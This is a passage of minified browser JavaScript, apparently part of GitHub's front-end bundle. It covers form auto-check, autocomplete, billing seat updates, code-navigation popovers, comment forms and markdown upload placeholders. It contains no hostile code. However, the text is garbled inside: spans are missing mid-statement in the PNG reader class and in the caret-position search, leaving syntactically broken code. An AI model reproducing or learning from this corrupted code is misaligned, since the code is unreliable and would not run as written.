d=f(52641);const m=new WeakMap;(0,u.N7)("auto-check",function(e){if(e.classList.contains("js-prevent-default-behavior"))return;const t=e.querySelector("input");if(!t)return;const n=t.closest(".form-group")||e,o=t.form;let r;function i(){return r||(r=`input-check-${(Math.random()*1e4).toFixed(0)}`),r}s(i,"generateId");const a=t.getAttribute("aria-describedby");t.addEventListener("focusout:delay",()=>{t.setAttribute("aria-describedby",[r,a].join(" "))});const l=n.querySelector("p.note");l&&(l.id||(l.id=i()),m.set(l,l.innerHTML)),e.addEventListener("loadstart",()=>{p(t,n),n.classList.add("is-loading"),t.classList.add("is-autocheck-loading"),(0,d.G)(o)}),e.addEventListener("loadend",()=>{n.classList.remove("is-loading"),t.classList.remove("is-autocheck-loading")}),t.addEventListener("auto-check-success",async y=>{t.classList.add("is-autocheck-successful"),n.classList.add("successed"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(!!S){if(l instanceof HTMLElement)l.innerHTML=S,(0,h.N)(l);else{const R=w.status===200,I=n.tagName==="DL"?"dd":"div",F=document.createElement(I);F.id=i(),F.classList.add(R?"success":"warning"),F.innerHTML=S,n.append(F),n.classList.add(R?"successed":"warn"),(0,h.N)(F),R&&(F.hidden=document.activeElement!==t)}(0,c.f)(t,"auto-check-message-updated")}}),t.addEventListener("auto-check-error",async y=>{t.classList.add("is-autocheck-errored"),n.classList.add("errored"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(l instanceof HTMLElement)l.innerHTML=S||"Something went wrong",(0,h.N)(l);else{const R=n.tagName==="DL"?"dd":"div",I=document.createElement(R);I.id=i(),I.classList.add("error"),I.innerHTML=S||"Something went wrong",n.append(I),(0,h.N)(I)}}),t.addEventListener("input",()=>{t.removeAttribute("aria-describedby"),t.value||p(t,n)}),t.addEventListener("blur",()=>{const y=n.querySelector(".success");y&&(y.hidden=!0)}),t.addEventListener("focus",()=>{const y=n.querySelector(".success");y&&(y.hidden=!1)}),o.addEventListener("reset",()=>{p(t,n)})});function p(e,t){var n,o,r,i,a,l;t.classList.remove("is-loading","successed","errored","warn"),e.classList.remove("is-autocheck-loading","is-autocheck-successful","is-autocheck-errored");const y=t.querySelector("p.note");if(y){const w=m.get(y);w&&(y.innerHTML=w)}t.tagName==="DL"?((n=t.querySelector("dd.error"))==null||n.remove(),(o=t.querySelector("dd.warning"))==null||o.remove(),(r=t.querySelector("dd.success"))==null||r.remove()):((i=t.querySelector("div.error"))==null||i.remove(),(a=t.querySelector("div.warning"))==null||a.remove(),(l=t.querySelector("div.success"))==null||l.remove())}s(p,"autocheck_reset");var b=f(46481);(0,u.N7)("auto-complete",function(e){e.addEventListener("loadstart",()=>e.classList.add("is-auto-complete-loading")),e.addEventListener("loadend",()=>e.classList.remove("is-auto-complete-loading"))}),(0,u.N7)("auto-complete",{constructor:b.Z,initialize:v}),(0,c.on)("auto-complete-change","auto-complete",function(e){v(e.currentTarget)});function v(e){const t=e.closest("form");if(!t)return;const n=t.querySelector(".js-auto-complete-button");n instanceof HTMLButtonElement&&(n.disabled=!e.value)}s(v,"toggleSubmitButton");var L=f(56238),q=f(12981),E=f(6170);let A=null;(0,c.on)("submit","[data-autosearch-results-container]",async function(e){const t=e.currentTarget;if(!(t instanceof HTMLFormElement))return;e.preventDefault(),A==null||A.abort(),t.classList.add("is-sending");const n=new URL(t.action,window.location.origin),o=t.method,r=new FormData(t),i=(0,L.KL)(n,r);let a=null;o==="get"?n.search=i:a=r;const{signal:l}=A=new AbortController,y=new Request(n.toString(),{method:o,body:a,signal:l,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});let w;try{w=await fetch(y)}catch{}if(t.classList.remove("is-sending"),!w||!w.ok||l.aborted)return;const S=t.getAttribute("data-autosearch-results-container"),R=S?document.getElementById(S):null;R&&(R.innerHTML="",R.appendChild((0,q.r)(document,await w.text()))),(0,E.lO)(null,"",`?${i}`)});var k=f(73185),j=f(45075);(0,j.ZG)("input[data-autoselect], textarea[data-autoselect]",async function(e){await(0,k.gJ)(),e.select()});var P=f(46263),M=f(6741);(0,c.on)("change","form[data-autosubmit]",function(e){const t=e.currentTarget;(0,L.Bt)(t)}),(0,c.on)("change","input[data-autosubmit], select[data-autosubmit]",O);function O(e){const t=e.target;if(!(t instanceof HTMLInputElement)&&!(t instanceof HTMLSelectElement))return;const n=t.form;(0,L.Bt)(n)}s(O,"autosubmit_submit");const V=(0,P.D)(O,300);(0,u.N7)("input[data-throttled-autosubmit]",{subscribe:e=>(0,M.RB)(e,"input",V)});async function H(e){const t=e.getAttribute("data-url")||"";if(await N(t)){const o=e.getAttribute("data-gravatar-text");o!=null&&(e.textContent=o)}}s(H,"detectGravatar"),(0,u.N7)(".js-detect-gravatar",function(e){H(e)});async function N(e){const t=e;if(!t)return!1;try{const n=await fetch(t,{headers:{Accept:"application/json"}});return n.ok?(await n.json()).has_gravatar:!1}catch{return!1}}s(N,"fetchGravatarInfo");var K=f(51989),W=f(41307),U=f(49815),te=f(66899),le=f(5878);const ae=[".unstyled-additional-seats-price-obj",".unstyled-base-price-obj",".unstyled-final-price-obj"];function we(e){return typeof e=="string"||typeof e=="number"?!1:"default_currency"in e&&"local_currency"in e}s(we,"isAPriceStruct");let ue=null;(0,c.on)("click",".js-org-signup-duration-change",e=>{e.preventDefault();const n=e.currentTarget.getAttribute("data-plan-duration");Yr(n),ts(n);for(const o of document.querySelectorAll(".js-seat-field"))Be(o);Qr()}),(0,c.on)("change",".js-org-signup-duration-toggle",async function({currentTarget:e}){const t=new URL(e.getAttribute("data-url"),window.location.origin);if((0,U.c)("TURBO")){const{visit:n}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395));n(t)}else{const n=document.getElementById("js-pjax-container");(0,W.ZP)({url:t.toString(),container:n})}});async function Be(e){const t=e.getAttribute("data-item-name")||"items",n=e.value,o=new URL(e.getAttribute("data-url"),window.location.origin),r=new URLSearchParams(o.search.slice(1)),i=parseInt(e.getAttribute("data-item-minimum"))||0,a=parseInt(e.getAttribute("data-item-maximum"))||300,l=parseInt(e.getAttribute("data-item-count"))||0,y=Math.max(i,parseInt(n)||0),w=y>a,S=document.querySelector(".js-downgrade-button"),R=document.getElementById("downgrade-disabled-message");S instanceof HTMLButtonElement&&(S.disabled=y===l),R instanceof HTMLElement&&S instanceof HTMLButtonElement&&(R.hidden=!S.disabled),r.append(t,y.toString()),document.querySelector(".js-transform-user")&&r.append("transform_user","1"),o.search=r.toString(),ue==null||ue.abort();const{signal:F}=ue=new AbortController;let X=null;try{const Z=await fetch(o.toString(),{signal:F,headers:{Accept:"application/json"}});if(!Z.ok)return;X=await Z.json()}catch{}if(F.aborted||!X)return;const oe=document.querySelector(".js-contact-us");oe&&oe.classList.toggle("d-none",!w);const Q=document.querySelector(".js-cost-info");Q&&(Q.hidden=w);const se=document.querySelector(".js-payment-summary");se&&se.classList.toggle("d-none",w);const ce=document.querySelector(".js-submit-billing");ce instanceof HTMLElement&&(ce.hidden=w);const de=document.querySelector(".js-billing-section");de&&de.classList.toggle("has-removed-contents",X.free||X.is_enterprise_cloud_trial);const Y=document.querySelector(".js-upgrade-info");Y&&Y.classList.toggle("d-none",y<=0);const He=document.querySelector(".js-downgrade-info");He&&He.classList.toggle("d-none",y>=0);const B=document.querySelector(".js-extra-seats-line-item");B&&B.classList.toggle("d-none",X.no_additional_seats),document.querySelector(".js-seat-field")&&es(n);const z=document.querySelector(".js-minimum-seats-disclaimer");z&&(z.classList.toggle("tooltipped",X.seats===5),z.classList.toggle("tooltipped-nw",X.seats===5));const ee=X.selectors;for(const Z in ee)for(const ie of document.querySelectorAll(Z))Jr(Z)&&we(ee[Z])?(ie.textContent="",ie.appendChild(On("default-currency",ee[Z].default_currency)),ie.appendChild(On("local-currency",ee[Z].local_currency))):ie.textContent=ee[Z];(0,E.lO)((0,W.y0)(),"",X.url)}s(Be,"updateTotals");function Jr(e){return ae.includes(e)}s(Jr,"isPriceSelector");function On(e,t){const n=document.createElement("span");return n.classList.add(e),n.textContent=t,n}s(On,"priceCurrencyTag");function Qr(){for(const e of document.querySelectorAll(".js-unit-price"))e.hidden=!e.hidden}s(Qr,"toggleDurationUnitPrices");function Yr(e){const t=e==="year"?"month":"year";for(const o of document.querySelectorAll(".js-plan-duration-text"))o.textContent=e;for(const o of document.querySelectorAll(".unstyled-available-plan-duration-adjective"))o.textContent=`${e}ly`;for(const o of document.querySelectorAll(".js-org-signup-duration-change"))o.setAttribute("data-plan-duration",t);const n=document.getElementById("signup-plan-duration");n&&(n.value=e)}s(Yr,"updateDurationFields");function es(e){var t;for(const n of document.querySelectorAll(".js-seat-field")){const o=n.getAttribute("data-item-max-seats"),r=(t=n==null?void 0:n.parentNode)==null?void 0:t.querySelector(".Popover");o&&o.length&&(parseInt(e,10)>parseInt(o,10)?(n.classList.add("color-border-danger-emphasis"),r==null||r.removeAttribute("hidden")):(n.classList.remove("color-border-danger-emphasis"),r==null||r.setAttribute("hidden","true")))}}s(es,"updateSeatFields");function ts(e){for(const t of document.querySelectorAll(".js-seat-field")){const n=new URL(t.getAttribute("data-url"),window.location.origin),o=new URLSearchParams(n.search.slice(1));o.delete("plan_duration"),o.append("plan_duration",e),n.search=o.toString(),t.setAttribute("data-url",n.toString())}}s(ts,"updateSeatFieldURLs"),(0,u.N7)(".js-addon-purchase-field",{constructor:HTMLInputElement,add(e){(0,le.Z)(e)&&Be(e),(0,te.oq)(e,function(){Be(e)})}}),(0,u.N7)(".js-addon-downgrade-field",{constructor:HTMLSelectElement,add(e){(0,le.Z)(e)&&Be(e),e.addEventListener("change",function(){Be(e)})}});function ns(e){const t=document.querySelector(".js-addon-purchase-field"),n=e.target.querySelector("input:checked");if(t instanceof HTMLInputElement&&n instanceof HTMLInputElement){const o=n.getAttribute("data-upgrade-url");o&&(t.setAttribute("data-url",o),t.value="0",Be(t))}}s(ns,"handleOrgChange"),(0,c.on)("details-menu-selected",".js-organization-container",ns,{capture:!0}),(0,j.q6)(".js-csv-filter-field",function(e){const t=e.target.value.toLowerCase();for(const n of document.querySelectorAll(".js-csv-data tbody tr"))n instanceof HTMLElement&&(!n.textContent||(n.hidden=!!t&&!n.textContent.toLowerCase().includes(t)))}),(0,u.N7)(".js-blob-header.is-stuck",{add(e){Nn(e)},remove(e){Nn(e,!0)}});function Nn(e,t=!1){const n={"tooltipped-nw":"tooltipped-sw","tooltipped-n":"tooltipped-s","tooltipped-ne":"tooltipped-se"};for(const[o,r]of Object.entries(n)){const i=t?r:o,a=t?o:r;for(const l of e.querySelectorAll(`.${i}`))l.classList.replace(i,a)}}s(Nn,"flipTooltip");function os(e){const t=e.target,n=t==null?void 0:t.closest(".js-branch-protection-integration-select"),o=n==null?void 0:n.querySelector(".js-branch-protection-integration-select-current"),r=t==null?void 0:t.closest(".js-branch-protection-integration-select-item"),i=r==null?void 0:r.querySelector(".js-branch-protection-integration-select-label");o&&i&&n&&(o.innerHTML=i.innerHTML,n.open=!1)}s(os,"changeSelection"),(0,c.on)("change",".js-branch-protection-integration-select-input",os);function rs(e){const t=new URL(e.getAttribute("data-bulk-actions-url"),window.location.origin),n=new URLSearchParams(t.search.slice(1)),o=e.getAttribute("data-bulk-actions-parameter"),r=Array.from(e.querySelectorAll(".js-bulk-actions-toggle:checked"));if(o){const i=r.map(a=>a.closest(".js-bulk-actions-item").getAttribute("data-bulk-actions-id")).sort();for(const a of i)n.append(`${o}[]`,a)}else for(const i of r.sort((a,l)=>a.value>l.value?1:-1))n.append(i.name,i.value);return t.search=n.toString(),t.toString()}s(rs,"bulkUrl");let Dt=null;async function ss(e){const t=e.target;if(!(t instanceof HTMLElement))return;const n=t.querySelector(".js-bulk-actions"),o=!!t.querySelector(".js-bulk-actions-toggle:checked");Dt==null||Dt.abort();const{signal:r}=Dt=new AbortController;let i="";try{const a=await fetch(rs(t),{signal:r,headers:{"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;i=await a.text()}catch{}r.aborted||!i||(o?(Bn(t),n.innerHTML=i):(n.innerHTML=i,Bn(t)),(0,c.f)(t,"bulk-actions:updated"))}s(ss,"updateBulkActions");function Bn(e){const t=document.querySelector(".js-membership-tabs");if(t){const n=e.querySelectorAll(".js-bulk-actions-toggle:checked");t.classList.toggle("d-none",n.length>0)}}s(Bn,"toggleMembershipTabs"),(0,c.on)("change",".js-bulk-actions-toggle",function(e){const n=e.currentTarget.closest(".js-bulk-actions-container");(0,c.f)(n,"bulk-actions:update")}),(0,c.on)("bulk-actions:update",".js-bulk-actions-container",(0,P.D)(ss,100));var me=f(7739),he=f(45922);function is(e){try{const t=window.localStorage.getItem(e);return{kind:"ok",value:t?JSON.parse(t):null}}catch(t){return{kind:"err",value:t}}}s(is,"getLocalJSON");function $n(e,t){try{return window.localStorage.setItem(e,JSON.stringify(t)),{kind:"ok",value:null}}catch(n){return{kind:"err",value:n}}}s($n,"setLocalJSON");function as(){const e={};for(const t of document.getElementsByTagName("script")){const n=t.src.match(/\/([\w-]+)-[0-9a-f]{8,}\.js$/);n&&(e[`${n[1]}.js`]=t.src)}for(const t of document.getElementsByTagName("link")){const n=t.href.match(/\/([\w-]+)-[0-9a-f]{8,}\.css$/);n&&(e[`${n[1]}.css`]=t.href)}return e}s(as,"gatherBundleURLs");function cs(){const e=as(),t=is("bundle-urls");if(t.kind==="err"){$n("bundle-urls",e);return}const n=t.value||{},o=Object.keys(e).filter(r=>n[r]!==e[r]);o.length&&$n("bundle-urls",{...n,...e}).kind==="ok"&&(0,he.b)({downloadedBundles:o})}s(cs,"report"),(async()=>(await me.C,window.requestIdleCallback(cs)))();var Ql=f(41415);function ls(e){e.preventDefault(),e.stopPropagation()}s(ls,"cancelEvent"),(0,u.N7)("a.btn.disabled",{subscribe:e=>(0,M.RB)(e,"click",ls)});var Ht=f(90458),us=f(58797);(0,u.N7)(".js-check-all-container",{constructor:HTMLElement,subscribe:us.Z});var Ve=f(64926);const Fn="logout-was-successful";function ds(){for(const e of[sessionStorage,localStorage])try{e.clear()}catch{}}s(ds,"clearData");function fs(){(0,Ve.$1)(Fn).length>0&&(ds(),(0,Ve.kT)(Fn))}s(fs,"clearDataIfJustLoggedOut"),fs();const Un=2e3;(0,c.on)("clipboard-copy","[data-copy-feedback]",e=>{const t=e.currentTarget,n=t.getAttribute("data-copy-feedback"),o=t.getAttribute("aria-label"),r=t.getAttribute("data-tooltip-direction")||"s";t.setAttribute("aria-label",n),t.classList.add("tooltipped",`tooltipped-${r}`),t instanceof HTMLElement&&((0,h.N)(t),setTimeout(()=>{o?t.setAttribute("aria-label",o):t.removeAttribute("aria-label"),t.classList.remove("tooltipped",`tooltipped-${r}`)},Un))});function ms(e){Ot.delete(e),Wn(e)}s(ms,"timerCallback");function Wn(e){const t=e.querySelector(".js-clipboard-copy-icon"),n=e.querySelector(".js-clipboard-check-icon");e.classList.toggle("ClipboardButton--success"),t&&t.classList.toggle("d-none"),n&&(n.classList.contains("d-sm-none")?n.classList.toggle("d-sm-none"):n.classList.toggle("d-none"))}s(Wn,"toggleCopyButton");const Ot=new WeakMap;(0,c.on)("clipboard-copy",".js-clipboard-copy:not([data-view-component])",function({currentTarget:e}){if(!(e instanceof HTMLElement))return;const t=Ot.get(e);t?clearTimeout(t):Wn(e),Ot.set(e,window.setTimeout(ms,Un,e))}),(0,c.on)("click",".js-code-nav-retry",async function(e){if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey)return;const t=document.querySelector(".js-tagsearch-popover");if(!t)return;const n=t.querySelector(".js-tagsearch-popover-content");if(!n)return;let o;const r=e.currentTarget;if(r.getAttribute("data-code-nav-kind")==="definitions"?o=t.querySelector(".js-tagsearch-popover-content"):o=t.querySelector(".js-code-nav-references"),!o)return;const a=r.getAttribute("data-code-nav-url");if(!a)return;const l=new URL(a,window.location.origin);try{const y=await fetch(l.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!y.ok)return;const w=await y.text();if(!w)return;o.innerHTML=w}catch{return}n.scrollTop=0}),(0,u.N7)(".js-code-nav-container",{constructor:HTMLElement,subscribe(e){const t=e,n=document.querySelector(".js-tagsearch-popover");if(!(n instanceof HTMLElement))return{unsubscribe(){}};const o=n.querySelector(".js-tagsearch-popover-content"),r=new WeakMap,i=new WeakMap;let a;l();function l(){ce();for(const B of document.getElementsByClassName("pl-token"))B.classList.remove("pl-token","active")}s(l,"initialize");async function y(B){const G=Nt(/\w+[!?]?/g,B.clientX,B.clientY,0);if(!G)return;const z=G.commonAncestorContainer.parentElement;if(!z)return;for(const Zl of z.classList)if(["pl-token","pl-c","pl-s","pl-k"].includes(Zl))return;if(z.closest(".js-skip-tagsearch"))return;const ee=G.toString();if(!ee||ee.match(/\n|\s|[();&.=",]/))return;let Z=i.get(z);if(Z||(Z=new Set,i.set(z,Z)),Z.has(ee))return;Z.add(ee);const ie=z.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"";let Oe=ie.getAttribute("data-tagsearch-lang")||"";if(Oe==="HTML+ERB")if(z.closest(".pl-sre"))Oe="Ruby";else return;if(e.classList.contains("js-code-block-container")&&(Oe=ps(z)||"",!Oe))return;const Hn=Kn(G),Ne=document.createElement("span");Ne.classList.add("pl-token"),Ne.addEventListener("click",S);let It;if(!(0,U.c)("BLACKBIRD_MONOLITH")){if(It=await zn(n,ee,Oe,Hn,Dn),!It)return;R(Ne,It),r.set(Ne,It)}G.surroundContents(Ne)}s(y,"onMouseMove");function w(){o.scrollTop=0}s(w,"resetScrollTop");async function S(B){if(B.altKey||B.ctrlKey||B.metaKey||B.shiftKey)return;const G=B.currentTarget;if(G===a)ce();else if(X(G),(0,U.c)("BLACKBIRD_MONOLITH")){const z=n.querySelector(".js-loading-code-definitions");z&&(o.hidden=!0,z.hidden=!1,Q(G),se()),await F(B),oe(G),z&&!z.hidden&&(z.hidden=!0),o.children.length>0?o.hidden=!1:ce()}else oe(G),se();B.preventDefault()}s(S,"onClick");function R(B,G){const z=document.createElement("span");z.innerHTML=G;const ee=z.firstElementChild;if(!ee)return;const Z=ee.getAttribute("data-hydro-click"),ie=ee.getAttribute("data-hydro-click-hmac");ie&&Z&&(B.setAttribute("data-hydro-click",Z),B.setAttribute("data-hydro-click-hmac",ie))}s(R,"addPopoverElement");async function I(B,G){const z=Nt(/\w+[!?]?/g,B.clientX,B.clientY,2);if(!z)return;const ee=z.commonAncestorContainer.parentElement;if(!ee)return;for(const Ne of ee.classList)if(G.includes(Ne))return;const Z=z.toString(),ie=ee.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"",Oe=ie.getAttribute("data-tagsearch-lang")||"",Hn=Kn(z);return await zn(n,Z,Oe,Hn,Dn)}s(I,"getPopoverHtml");async function F(B){const G=await I(B,["data-hydro-click"]);if(!G)return;const z=document.getElementsByClassName("active")[0];!z||(R(z,G),r.set(z,G))}s(F,"fetchPopover");function X(B){a&&a.classList.remove("active"),a=B,a.classList.add("active")}s(X,"setActivePopover");function oe(B){o.innerHTML=r.get(B)||"",Q(B)}s(oe,"populatePopover");function Q(B){const G=t.getClientRects()[0],z=B.getClientRects()[0];n.style.position="absolute",n.style.zIndex="2",t.classList.contains("position-relative")?(n.style.top=`${z.bottom-G.top+7}px`,n.style.left=`${z.left-G.left-10}px`):(n.style.top=`${window.scrollY+z.bottom}px`,n.style.left=`${window.scrollX+z.left}px`)}s(Q,"positionPopover");function se(){if(!n.hidden){w();return}n.hidden=!1,w(),document.addEventListener("click",Y),document.addEventListener("keyup",He),window.addEventListener("resize",de)}s(se,"showPopover");function ce(){n.hidden||(n.hidden=!0,a&&a.classList.remove("active"),a=void 0,document.removeEventListener("click",Y),document.removeEventListener("keyup",He),window.removeEventListener("resize",de))}s(ce,"hidePopover");function de(){a instanceof HTMLElement&&Q(a)}s(de,"onResize");function Y(B){const{target:G}=B;G instanceof Node&&!n.contains(G)&&!a.contains(G)&&ce()}s(Y,"onDocumentClick");function He(B){switch(B.key){case"Escape":ce();break}}return s(He,"onKeyup"),e.addEventListener("mousemove",y),{unsubscribe(){e.removeEventListener("mousemove",y)}}}});async function zn(e,t,n,o,r){const i=e.getAttribute("data-tagsearch-url");if(!i)return"";const a=e.getAttribute("data-tagsearch-ref");if(!a)return"";let l=e.getAttribute("data-tagsearch-code-nav-context");l||(l="UNKNOWN_VIEW");const y=new URL(i,window.location.origin),w=new URLSearchParams;w.set("q",t),w.set("blob_path",r),w.set("ref",a),w.set("language",n),w.set("row",o[0].toString()),w.set("col",o[1].toString()),w.set("code_nav_context",l),y.search=w.toString();try{const S=await fetch(y.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!S.ok)return"";const R=await S.text();return/js-tagsearch-no-definitions/.test(R)?"":R}catch{return""}}s(zn,"fetchPopoverContents");function Nt(e,t,n,o){let r,i;if(document.caretPositionFromPoint){const S=document.caretPositionFromPoint(t,n);S&&(r=S.offsetNode,i=S.offset)}else if(document.caretRangeFromPoint){const S=document.caretRangeFromPoint(t,n);S&&(r=S.startContainer,i=S.startOffset)}if(!r||typeof i!="number"||!(0,U.c)("BLACKBIRD_MONOLITH")&&r.nodeType!==Node.TEXT_NODE)return;const a=r.textContent,l=(a==null?void 0:a.replaceAll(` +`,"").trim())==="";if(!a||l||r.nodeType!==Node.TEXT_NODE){if(o<=0||!(0,U.c)("BLACKBIRD_MONOLITH"))return null;{const S=r.nodeType!==Node.TEXT_NODE?1:10;return Nt(e,t-S,n-S,o-1)}}const y=hs(a,e,i);if(!y)return null;const w=document.createRange();return w.setStart(r,y[1]),w.setEnd(r,y[2]),w}s(Nt,"matchFromPoint");function hs(e,t,n){let o;for(;o=t.exec(e);){const r=o.index+o[0].length;if(o.index<=n&&n<=r)return[o[0],o.index,r]}return null}s(hs,"findNearestMatch");function ps(e){const t=e.closest(".highlight");if(t)for(const n of t.classList)switch(n){case"highlight-source-go":return"Go";case"highlight-source-js":return"JavaScript";case"highlight-source-python":return"Python";case"highlight-source-ruby":return"Ruby";case"highlight-source-ts":return"TypeScript"}return null}s(ps,"getCodeBlockLanguage");function Kn(e){let t=e.startContainer,n=e.startOffset,o=!1;for(;;){let r=t.previousSibling;for(;!o&&r;)["#comment","BUTTON"].includes(r.nodeName)||(n+=(r.textContent||"").length),r=r.previousSibling;const i=t.parentElement;if(i){if(i.classList.contains("js-code-nav-pass"))o=!0;else if(i.classList.contains("js-file-line")){const a=i.previousElementSibling;if(!a.classList.contains("js-code-nav-line-number"))throw new Error("invariant");return[parseInt(a.getAttribute("data-line-number")||"1",10)-1,n]}t=i}else return[0,0]}}s(Kn,"getRowAndColumn");var Me=f(78965);function gs(e){const t=e.querySelector(".js-comment-form-error");t instanceof HTMLElement&&(t.hidden=!0)}s(gs,"clearFormError"),(0,c.on)("click",".errored.js-remove-error-state-on-click",function({currentTarget:e}){e.classList.remove("errored")}),(0,C.AC)(".js-new-comment-form",async function(e,t){let n;gs(e);try{n=await t.json()}catch(i){bs(e,i)}if(!n)return;e.reset();for(const i of e.querySelectorAll(".js-resettable-field"))(0,L.Se)(i,i.getAttribute("data-reset-value")||"");const o=e.querySelector(".js-write-tab");o instanceof HTMLElement&&o.click();const r=n.json.updateContent;for(const i in r){const a=r[i],l=document.querySelector(i);l instanceof HTMLElement?(0,Me.Of)(l,a):console.warn(`couldn't find ${i} for immediate update`)}(0,c.f)(e,"comment:success")});function bs(e,t){let n="You can't comment at this time";if(t.response&&t.response.status===422){const r=t.response.json;r.errors&&(Array.isArray(r.errors)?n+=` \u2014 your comment ${r.errors.join(", ")}`:n=r.errors)}n+=". ";const o=e.querySelector(".js-comment-form-error");if(o instanceof HTMLElement){o.textContent=n,o.hidden=!1;const r=o.closest("div.form-group.js-remove-error-state-on-click");r&&r.classList.add("errored")}}s(bs,"handleFormError");const ys=s((e,t)=>{const n=e.querySelector(".js-form-action-text"),o=n||e;o.textContent=t?e.getAttribute("data-comment-text"):o.getAttribute("data-default-action-text")},"setButtonText"),vs=s(e=>{let t;return n=>{const r=n.currentTarget.value.trim();r!==t&&(t=r,ys(e,Boolean(r)))}},"createInputHandler");(0,u.N7)(".js-comment-and-button",{constructor:HTMLButtonElement,initialize(e){const t=e.form.querySelector(".js-comment-field"),n=vs(e);return{add(){t.addEventListener("input",n),t.addEventListener("change",n)},remove(){t.removeEventListener("input",n),t.removeEventListener("change",n)}}}});var Yl=f(2641);function Vn(e,t){const n=e.closest(".js-write-bucket");n&&n.classList.toggle("focused",t)}s(Vn,"toggleFocus");function ws(e){const t=e.currentTarget;t instanceof Element&&Vn(t,!1)}s(ws,"blurred"),(0,j.ZG)(".js-comment-field",function(e){Vn(e,!0),e.addEventListener("blur",ws,{once:!0})});var Ee=f(40764),Es=f(52769),Bt=f(35889);const Ls=2303741511,js=4;class ot{static fromFile(t){return new Promise(function(n,o){const r=new FileReader;r.onload=function(){n(new ot(r.result))},r.onerror=function(){o(r.error)},r.readAsArrayBuffer(t)})}constructor(t){this.dataview=new DataView(t),this.pos=0}advance(t){this.pos+=t}readInt(t){const n=this,o=function(){switch(t){case 1:return n.dataview.getUint8(n.pos);case 2:return n.dataview.getUint16(n.pos);case 4:return n.dataview.getUint32(n.pos);default:throw new Error("bytes parameter must be 1, 2 or 4")}}();return this.advance(t),o}readChar(){return this.readInt(1)}readShort(){return this.readInt(2)}readLong(){return this.readInt(4)}readString(t){const n=[];for(let o=0;othis.coords.top+this.coords.height?1:0}xDistance(t){return Math.abs(this.left-t)}}s(Xn,"CaretPosition");function Le(e,t){let n;if(rt.has(e)?n=rt.get(e):(n=new Map,rt.set(e,n)),n.has(t))return n.get(t);{const o=new Xn(t,(0,As.Z)(e,t),e);return n.set(t,o),o}}s(Le,"fetchCaretCoords");const Xe=s((e,t,n,o,r,i)=>{if(n===t)return n;const a=s(S=>{const R=S.filter(I=>I.checkLine(r)===0).sort((I,F)=>I.xDistance(o)>F.xDistance(o)?1:-1);return R.length===0?n:R[0].index},"bestPosition");if(n-t===1){const S=Le(e,t),R=Le(e,n);return a([S,R])}if(n-t===2){const S=Le(e,t),R=Le(e,n-1),I=Le(e,n);return a([S,R,I])}const l=Math.floor((n+t)/2);if(l===t||l===n)return l;const y=Le(e,l);if(r>y.top+y.height)return Xe(e,l+1,n,o,r,i+1);if(ro?Le(e,l-1).checkLine(r)!==0?l:Xe(e,t,l-1,o,r,i+1):l},"binaryCursorSearch"),Cs=s((e,t,n)=>{const r=e.value.length-1;return Xe(e,0,r,t,n,0)},"findCursorPosition");function ks(e,t,n){const o=Cs(e,t,n);e.setSelectionRange(o,o)}s(ks,"setCursorPosition");function xs(e,t){const n=e.getBoundingClientRect();t.type==="dragenter"&&rt.delete(e);const o=t.clientX-n.left,r=t.clientY-n.top+e.scrollTop;ks(e,o,r)}s(xs,"caret_placement_updateCaret"),(0,u.N7)(".js-paste-markdown",{initialize(e){let t;return{add(){t=(0,Es.Ld)(e).unsubscribe},remove(){t()}}}});const $t=new WeakMap;function eu(e,t){$t.set(e,t)}s(eu,"cachePlaceholder");function Ms(e){return $t.get(e)||Zn(e)}s(Ms,"getPlaceholder");function Ft(e){return["video/mp4","video/quicktime"].includes(e.file.type)}s(Ft,"isVideo");function qs(e){return e.replace(/[[\]\\"<>&]/g,".").replace(/\.{2,}/g,".").replace(/^\.|\.$/gi,"")}s(qs,"parameterizeName");function Gn(e){return Ft(e)?` +Uploading ${e.file.name}\u2026 +`:`${e.isImage()?"!":""}[Uploading ${e.file.name}\u2026]()`}s(Gn,"placeholderText");function Rs(e){return qs(e).replace(/\.[^.]+$/,"").replace(/\./g," ")}s(Rs,"altText");const _s=72*2;function st(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!0}s(st,"disableSubmit");function it(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!1}s(it,"enableSubmit");async function Ps(e){const{attachment:t}=e.detail,n=e.currentTarget;let o;t.isImage()?o=await Hs(t):Ft(t)?o=Ds(t):o=Is(t),Qn("",o,e,n)}s(Ps,"onUploadCompleted");function Is(e){return`[${e.file.name}](${e.href})`}s(Is,"mdLink");function Ds(e){return` +${e.href} +`}s(Ds,"videoMarkdown");async function Hs(e){const t=await Os(e.file),n=Rs(e.file.name),o=e.href;return t.ppi===_s?`${n}`:`![${n}](${o})`}s(Hs,"imageTag");async function Os(e){var t;const n={width:0,height:0,ppi:0};try{return(t=await Ts(e))!=null?t:n}catch{return n}}s(Os,"imageSize");function Zn(e){const t=Gn(e);return Ft(e)?` +${t} +`:`${t} +`}s(Zn,"replacementText");function Jn(e){const t=e.currentTarget.querySelector(".js-comment-field"),n=Ms(e.detail.attachment);if(t)t.setCustomValidity(""),(0,Ee.lp)(t,n,"");else{const r=(0,Bt.P)(e.currentTarget.querySelector(".js-code-editor")).editor.getSearchCursor(n);r.findNext(),r.replace("")}}s(Jn,"removeFailedUpload");function Qn(e,t,n,o){const r=(o||n.currentTarget).querySelector(".js-comment-field"),i=(o||n.currentTarget).querySelector(".js-file-upload-loading-text"),a=Gn(n.detail.attachment),{batch:l}=n.detail;if(r){const y=r.value.substring(r.selectionStart,r.selectionEnd);if(e==="uploading"){let w;y.length?w=(0,Ee.t4)(r,y,a):w=(0,Ee.Om)(r,a,{appendNewline:!0}),$t.set(n.detail.attachment,w)}else(0,Ee.lp)(r,a,t);l.isFinished()?it(n):st(n)}else{const y=(0,Bt.P)((o||n.currentTarget).querySelector(".js-code-editor")).editor;if(e==="uploading")if(y.getSelection().length)y.replaceSelection(a);else{const w=y.getCursor(),S=Zn(n.detail.attachment);y.replaceRange(S,w)}else{const 